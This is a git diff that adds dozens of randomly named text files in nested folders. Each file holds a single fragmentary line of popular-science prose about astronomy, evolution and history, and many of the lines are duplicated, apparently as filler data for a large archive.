diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_ijdlnxwibszj.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_ijdlnxwibszj.txt
new file mode 100644
index 0000000..57c82eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_ijdlnxwibszj.txt
@@ -0,0 +1 @@
+animals, a little like large insects; some hunted in packs on the ocean floor. They stored
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_jcmnphvohotdnx.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_jcmnphvohotdnx.txt
new file mode 100644
index 0000000..57c82eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_jcmnphvohotdnx.txt
@@ -0,0 +1 @@
+animals, a little like large insects; some hunted in packs on the ocean floor. They stored
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_jfjcqbbx.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_jfjcqbbx.txt
new file mode 100644
index 0000000..57c82eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_jfjcqbbx.txt
@@ -0,0 +1 @@
+animals, a little like large insects; some hunted in packs on the ocean floor. They stored
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_mcktxxntlubixrffklbc.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_mcktxxntlubixrffklbc.txt
new file mode 100644
index 0000000..57c82eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_mcktxxntlubixrffklbc.txt
@@ -0,0 +1 @@
+animals, a little like large insects; some hunted in packs on the ocean floor. They stored
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_qpvrrgglmpurfdxpqvvz.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_qpvrrgglmpurfdxpqvvz.txt
new file mode 100644
index 0000000..57c82eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_qpvrrgglmpurfdxpqvvz.txt
@@ -0,0 +1 @@
+animals, a little like large insects; some hunted in packs on the ocean floor. They stored
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_tbdxyslhrhkxynrw.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_tbdxyslhrhkxynrw.txt
new file mode 100644
index 0000000..57c82eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_tbdxyslhrhkxynrw.txt
@@ -0,0 +1 @@
+animals, a little like large insects; some hunted in packs on the ocean floor. They stored
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_zqeeioxstjdlnoaocqfnab.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_zqeeioxstjdlnoaocqfnab.txt
new file mode 100644
index 0000000..57c82eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/file_zqeeioxstjdlnoaocqfnab.txt
@@ -0,0 +1 @@
+animals, a little like large insects; some hunted in packs on the ocean floor. They stored
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/htebmocmv.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/htebmocmv.txt
new file mode 100644
index 0000000..48d2eb9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/htebmocmv.txt
@@ -0,0 +1 @@
+cross section can be seen, only the points of contact with the plane surface of Flatland. An
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/lpyagnulkipahge.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/lpyagnulkipahge.txt
new file mode 100644
index 0000000..7b91e87
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/lpyagnulkipahge.txt
@@ -0,0 +1 @@
+of the moons, resembles closely the planets about the Sun. Extrapolation of the statistics of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/ltazxoydippe.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/ltazxoydippe.txt
new file mode 100644
index 0000000..32f0106
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/ltazxoydippe.txt
@@ -0,0 +1 @@
+building blocks floating about nearby in the viscous liquid of the cell nucleus. Once the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/njtikjxhfdlld.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/njtikjxhfdlld.txt
new file mode 100644
index 0000000..adcca1e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/njtikjxhfdlld.txt
@@ -0,0 +1 @@
+thought the old man convinced himself that it was not the god-raven that he had
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/nrbwkqdlgtsdjjk.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/nrbwkqdlgtsdjjk.txt
new file mode 100644
index 0000000..47b8bf9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/nrbwkqdlgtsdjjk.txt
@@ -0,0 +1 @@
+If an apparently pivotal person had never lived - Plato, say, or Paul, or Peter the Great -
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/qxzacqercolk.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/qxzacqercolk.txt
new file mode 100644
index 0000000..1ea5bd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/qxzacqercolk.txt
@@ -0,0 +1 @@
+If the planets were really shown to scale, as grains of dust, we would easily note that the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/szelijfe.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/szelijfe.txt
new file mode 100644
index 0000000..1e56e29
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/szelijfe.txt
@@ -0,0 +1 @@
+extraterrestrial visitor, looking at the differences among human beings and their societies,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/tisfcdholj.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/tisfcdholj.txt
new file mode 100644
index 0000000..fafe59c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/tisfcdholj.txt
@@ -0,0 +1 @@
+evolved to wonder, that understanding is a joy, that knowledge is prerequisite to survival. I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/wyjeweicgittyiymieo.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/wyjeweicgittyiymieo.txt
new file mode 100644
index 0000000..6685c19
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/wyjeweicgittyiymieo.txt
@@ -0,0 +1 @@
+to the moving fabric of space expanding uniformly in all directions. As space stretched, thematter and energy in the universe expanded with it and rapidly cooled. The radiation of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/yfwilvxplskc.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/yfwilvxplskc.txt
new file mode 100644
index 0000000..b871919
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/yfwilvxplskc.txt
@@ -0,0 +1 @@
+In love with whole numbers, the Pythagoreans believed all things could be derived
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/yrszfpeuejbwrwhovelvknz.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/yrszfpeuejbwrwhovelvknz.txt
new file mode 100644
index 0000000..56df5f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/yrszfpeuejbwrwhovelvknz.txt
@@ -0,0 +1 @@
+having twelve pentagons as sides seemed to them dangerous. It was mystically associated
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/ztfqoqvhxqf.txt b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/ztfqoqvhxqf.txt
new file mode 100644
index 0000000..db2cb22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjvnlxyofr/folder_zqncfuyvyt/folder_ncrzwkoahi/ztfqoqvhxqf.txt
@@ -0,0 +1 @@
+brilliance. Such a binary is called a nova and has quite a different origin from a supernova.Novae occur only in binary systems and are powered by hydrogen fusion; supernovae occur
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/file_burzukvy.txt b/big_zip/big-zip-files/folder_rzmrqygplj/file_burzukvy.txt
new file mode 100644
index 0000000..cab2b1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/file_burzukvy.txt
@@ -0,0 +1 @@
+fragment about a hundred meters across - the size of a football field - weighing a million
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/file_bzbrppscycnmtomtqhvqc.txt b/big_zip/big-zip-files/folder_rzmrqygplj/file_bzbrppscycnmtomtqhvqc.txt
new file mode 100644
index 0000000..cab2b1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/file_bzbrppscycnmtomtqhvqc.txt
@@ -0,0 +1 @@
+fragment about a hundred meters across - the size of a football field - weighing a million
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/file_czcmmenczqgchbsqsav.txt b/big_zip/big-zip-files/folder_rzmrqygplj/file_czcmmenczqgchbsqsav.txt
new file mode 100644
index 0000000..cab2b1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/file_czcmmenczqgchbsqsav.txt
@@ -0,0 +1 @@
+fragment about a hundred meters across - the size of a football field - weighing a million
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/file_duysdrszebwevwnuyeh.txt b/big_zip/big-zip-files/folder_rzmrqygplj/file_duysdrszebwevwnuyeh.txt
new file mode 100644
index 0000000..cab2b1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/file_duysdrszebwevwnuyeh.txt
@@ -0,0 +1 @@
+fragment about a hundred meters across - the size of a football field - weighing a million
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/file_eanipusd.txt b/big_zip/big-zip-files/folder_rzmrqygplj/file_eanipusd.txt
new file mode 100644
index 0000000..cab2b1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/file_eanipusd.txt
@@ -0,0 +1 @@
+fragment about a hundred meters across - the size of a football field - weighing a million
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/file_ebkndgxijwwjkvvcp.txt b/big_zip/big-zip-files/folder_rzmrqygplj/file_ebkndgxijwwjkvvcp.txt
new file mode 100644
index 0000000..cab2b1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/file_ebkndgxijwwjkvvcp.txt
@@ -0,0 +1 @@
+fragment about a hundred meters across - the size of a football field - weighing a million
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/file_efbfrvvuqyrsqpxoq.txt b/big_zip/big-zip-files/folder_rzmrqygplj/file_efbfrvvuqyrsqpxoq.txt
new file mode 100644
index 0000000..cab2b1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/file_efbfrvvuqyrsqpxoq.txt
@@ -0,0 +1 @@
+fragment about a hundred meters across - the size of a football field - weighing a million
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/file_esqhutzs.txt b/big_zip/big-zip-files/folder_rzmrqygplj/file_esqhutzs.txt
new file mode 100644
index 0000000..cab2b1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/file_esqhutzs.txt
@@ -0,0 +1 @@
+fragment about a hundred meters across - the size of a football field - weighing a million
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/file_fktkxsfu.txt b/big_zip/big-zip-files/folder_rzmrqygplj/file_fktkxsfu.txt
new file mode 100644
index 0000000..cab2b1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/file_fktkxsfu.txt
@@ -0,0 +1 @@
+fragment about a hundred meters across - the size of a football field - weighing a million
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/file_ggcixhbge.txt b/big_zip/big-zip-files/folder_rzmrqygplj/file_ggcixhbge.txt
new file mode 100644
index 0000000..cab2b1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/file_ggcixhbge.txt
@@ -0,0 +1 @@
+fragment about a hundred meters across - the size of a football field - weighing a million
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/file_hdmlyyemzdpblbvzadzzjtr.txt b/big_zip/big-zip-files/folder_rzmrqygplj/file_hdmlyyemzdpblbvzadzzjtr.txt
new file mode 100644
index 0000000..cab2b1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/file_hdmlyyemzdpblbvzadzzjtr.txt
@@ -0,0 +1 @@
+fragment about a hundred meters across - the size of a football field - weighing a million
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/file_hkdfcvgejtpzyfkfhfqwm.txt b/big_zip/big-zip-files/folder_rzmrqygplj/file_hkdfcvgejtpzyfkfhfqwm.txt
new file mode 100644
index 0000000..cab2b1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/file_hkdfcvgejtpzyfkfhfqwm.txt
@@ -0,0 +1 @@
+fragment about a hundred meters across - the size of a football field - weighing a million
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/file_hxuimfhhtgx.txt b/big_zip/big-zip-files/folder_rzmrqygplj/file_hxuimfhhtgx.txt
new file mode 100644
index 0000000..cab2b1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/file_hxuimfhhtgx.txt
@@ -0,0 +1 @@
+fragment about a hundred meters across - the size of a football field - weighing a million
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/file_icqknofmlll.txt b/big_zip/big-zip-files/folder_rzmrqygplj/file_icqknofmlll.txt
new file mode 100644
index 0000000..cab2b1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/file_icqknofmlll.txt
@@ -0,0 +1 @@
+fragment about a hundred meters across - the size of a football field - weighing a million
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/file_ikdclnuzuhzdrellxkn.txt b/big_zip/big-zip-files/folder_rzmrqygplj/file_ikdclnuzuhzdrellxkn.txt
new file mode 100644
index 0000000..cab2b1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/file_ikdclnuzuhzdrellxkn.txt
@@ -0,0 +1 @@
+fragment about a hundred meters across - the size of a football field - weighing a million
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/file_kdjllnpgncvf.txt b/big_zip/big-zip-files/folder_rzmrqygplj/file_kdjllnpgncvf.txt
new file mode 100644
index 0000000..cab2b1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/file_kdjllnpgncvf.txt
@@ -0,0 +1 @@
+fragment about a hundred meters across - the size of a football field - weighing a million
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/file_keyurcizilsl.txt b/big_zip/big-zip-files/folder_rzmrqygplj/file_keyurcizilsl.txt
new file mode 100644
index 0000000..cab2b1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/file_keyurcizilsl.txt
@@ -0,0 +1 @@
+fragment about a hundred meters across - the size of a football field - weighing a million
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/file_kizjppaegbelpgoty.txt b/big_zip/big-zip-files/folder_rzmrqygplj/file_kizjppaegbelpgoty.txt
new file mode 100644
index 0000000..cab2b1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/file_kizjppaegbelpgoty.txt
@@ -0,0 +1 @@
+fragment about a hundred meters across - the size of a football field - weighing a million
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/file_lrwniosambnkafvbwomdnkcd.txt b/big_zip/big-zip-files/folder_rzmrqygplj/file_lrwniosambnkafvbwomdnkcd.txt
new file mode 100644
index 0000000..cab2b1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/file_lrwniosambnkafvbwomdnkcd.txt
@@ -0,0 +1 @@
+fragment about a hundred meters across - the size of a football field - weighing a million
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/file_lubhbyruv.txt b/big_zip/big-zip-files/folder_rzmrqygplj/file_lubhbyruv.txt
new file mode 100644
index 0000000..cab2b1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/file_lubhbyruv.txt
@@ -0,0 +1 @@
+fragment about a hundred meters across - the size of a football field - weighing a million
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/file_nmlsdsuvbegamv.txt b/big_zip/big-zip-files/folder_rzmrqygplj/file_nmlsdsuvbegamv.txt
new file mode 100644
index 0000000..cab2b1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/file_nmlsdsuvbegamv.txt
@@ -0,0 +1 @@
+fragment about a hundred meters across - the size of a football field - weighing a million
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/file_pkotrydftewbzi.txt b/big_zip/big-zip-files/folder_rzmrqygplj/file_pkotrydftewbzi.txt
new file mode 100644
index 0000000..cab2b1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/file_pkotrydftewbzi.txt
@@ -0,0 +1 @@
+fragment about a hundred meters across - the size of a football field - weighing a million
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_asuczwsxjhzstpcrpbaxhbo.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_asuczwsxjhzstpcrpbaxhbo.txt
new file mode 100644
index 0000000..6211f0e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_asuczwsxjhzstpcrpbaxhbo.txt
@@ -0,0 +1 @@
+past. We now know that the Cosmos is far older than they ever imagined. We have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_bhpweefmhkstdhyeqogu.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_bhpweefmhkstdhyeqogu.txt
new file mode 100644
index 0000000..6211f0e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_bhpweefmhkstdhyeqogu.txt
@@ -0,0 +1 @@
+past. We now know that the Cosmos is far older than they ever imagined. We have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_chkwmljcokrxqxytyzcp.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_chkwmljcokrxqxytyzcp.txt
new file mode 100644
index 0000000..6211f0e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_chkwmljcokrxqxytyzcp.txt
@@ -0,0 +1 @@
+past. We now know that the Cosmos is far older than they ever imagined. We have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_cjijafbuo.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_cjijafbuo.txt
new file mode 100644
index 0000000..6211f0e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_cjijafbuo.txt
@@ -0,0 +1 @@
+past. We now know that the Cosmos is far older than they ever imagined. We have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_dvjnkqzn.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_dvjnkqzn.txt
new file mode 100644
index 0000000..6211f0e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_dvjnkqzn.txt
@@ -0,0 +1 @@
+past. We now know that the Cosmos is far older than they ever imagined. We have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_fizkczrmtgaeafotiu.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_fizkczrmtgaeafotiu.txt
new file mode 100644
index 0000000..6211f0e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_fizkczrmtgaeafotiu.txt
@@ -0,0 +1 @@
+past. We now know that the Cosmos is far older than they ever imagined. We have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_hvkbdpjtpfywwsttuljy.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_hvkbdpjtpfywwsttuljy.txt
new file mode 100644
index 0000000..6211f0e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_hvkbdpjtpfywwsttuljy.txt
@@ -0,0 +1 @@
+past. We now know that the Cosmos is far older than they ever imagined. We have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_hxdspkxhtxrla.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_hxdspkxhtxrla.txt
new file mode 100644
index 0000000..6211f0e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_hxdspkxhtxrla.txt
@@ -0,0 +1 @@
+past. We now know that the Cosmos is far older than they ever imagined. We have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_klgtbstfqaiixagc.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_klgtbstfqaiixagc.txt
new file mode 100644
index 0000000..6211f0e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_klgtbstfqaiixagc.txt
@@ -0,0 +1 @@
+past. We now know that the Cosmos is far older than they ever imagined. We have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_orbtvlftgpvtcptyxe.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_orbtvlftgpvtcptyxe.txt
new file mode 100644
index 0000000..6211f0e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_orbtvlftgpvtcptyxe.txt
@@ -0,0 +1 @@
+past. We now know that the Cosmos is far older than they ever imagined. We have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_pyjzwobbq.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_pyjzwobbq.txt
new file mode 100644
index 0000000..6211f0e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_pyjzwobbq.txt
@@ -0,0 +1 @@
+past. We now know that the Cosmos is far older than they ever imagined. We have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_qecsnxnsphkftfoxwgdrcb.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_qecsnxnsphkftfoxwgdrcb.txt
new file mode 100644
index 0000000..6211f0e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_qecsnxnsphkftfoxwgdrcb.txt
@@ -0,0 +1 @@
+past. We now know that the Cosmos is far older than they ever imagined. We have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_toohjgrzyntokgrulcsv.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_toohjgrzyntokgrulcsv.txt
new file mode 100644
index 0000000..6211f0e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_toohjgrzyntokgrulcsv.txt
@@ -0,0 +1 @@
+past. We now know that the Cosmos is far older than they ever imagined. We have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_tshlijouej.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_tshlijouej.txt
new file mode 100644
index 0000000..6211f0e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_tshlijouej.txt
@@ -0,0 +1 @@
+past. We now know that the Cosmos is far older than they ever imagined. We have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_uojlhoxfrqdcbz.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_uojlhoxfrqdcbz.txt
new file mode 100644
index 0000000..6211f0e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_uojlhoxfrqdcbz.txt
@@ -0,0 +1 @@
+past. We now know that the Cosmos is far older than they ever imagined. We have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_vkbkgsrbivqskmjnyxwujemt.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_vkbkgsrbivqskmjnyxwujemt.txt
new file mode 100644
index 0000000..6211f0e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_vkbkgsrbivqskmjnyxwujemt.txt
@@ -0,0 +1 @@
+past. We now know that the Cosmos is far older than they ever imagined. We have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_wqyavwqokrfcslts.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_wqyavwqokrfcslts.txt
new file mode 100644
index 0000000..6211f0e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/file_wqyavwqokrfcslts.txt
@@ -0,0 +1 @@
+past. We now know that the Cosmos is far older than they ever imagined. We have
\ No newline at end of file
